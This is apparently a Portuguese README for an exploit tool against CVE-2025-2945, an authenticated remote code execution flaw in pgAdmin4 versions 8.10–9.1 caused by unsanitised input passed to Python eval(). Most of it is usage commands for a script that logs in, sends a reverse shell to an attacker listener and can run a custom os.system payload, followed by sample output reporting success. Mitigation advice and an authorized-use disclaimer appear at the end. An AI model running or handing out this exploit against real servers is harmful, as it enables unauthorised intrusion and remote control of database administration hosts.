
Exploit para vulnerabilidade de Execução Remota de Código (RCE) no pgAdmin4 que afeta as versões 8.10 a 9.1.
Autor: G0D150NE
Versão: 2.0.0
CVE: CVE-2025-2945
Severidade: Crítica (CVSS 9.9)
Exploit para a vulnerabilidade de Execução Remota de Código (RCE) no pgAdmin4 que afeta as versões 8.10 a 9.1.
A vulnerabilidade existe no endpoint /sqleditor/query_tool/download, onde o parâmetro query_commited é passado sem sanitização para a função eval() do Python, permitindo a execução arbitrária de código.
# Clone ou baixe o script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945
# Instale as dependências
pip install requests
Uso básico
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
Com saída verbosa
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
-v
Payload personalizado
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--custom-payload "__import__('os').system('whoami > /tmp/test.txt')"
Ignorar verificação de versão
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--skip-version-check
Argumento Obrigatório Descrição --target-url Sim URL base do pgAdmin4 (http://RHOST:PORT/) --username Sim E-mail de login do pgAdmin4 --password Sim Senha de login do pgAdmin4 --db-user Sim Nome de usuário do banco de dados --db-pass Sim Senha do banco de dados --db-name Sim Nome do banco de dados --Rhost Sim IP do listener para o reverse shell --Rport Sim Porta do listener para o reverse shell --max-server-id Não ID máximo de servidor a verificar (padrão: 10) --skip-version-check Não Ignorar verificação de versão --custom-payload Não Payload Python personalizado --verbose, -v Não Habilitar saída de depuração --no-banner Não Ocultar banner
· Python 3.6+ · Biblioteca requests
pip install requests
# Versão vulnerável do pgAdmin no Docker
docker run -d -p 5050:5050 \
-e [email protected] \
-e PGADMIN_DEFAULT_PASSWORD=admin123 \
dpage/pgadmin4:8.10
# Em seguida, execute o exploit
python3 poc.py \
--target-url http://localhost:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌
▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░▌
▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌
▄▄▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
CVE-2025-2945 - pgAdmin4 Authenticated RCE
Author: G0D150NE
Version: 2.0.0
[*] Target running vulnerable version 8.10
[*] Authenticating as [email protected]...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444
· Atualize o pgAdmin4 para a versão 9.2 ou superior · Restrinja o acesso à interface do pgAdmin · Use credenciais fortes · Ative MFA, se disponível
Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais. O uso contra sistemas sem permissão explícita é ilegal. O autor não se responsabiliza por qualquer uso indevido.
· CVE-2025-2945 · Aviso de Segurança do pgAdmin
Licença MIT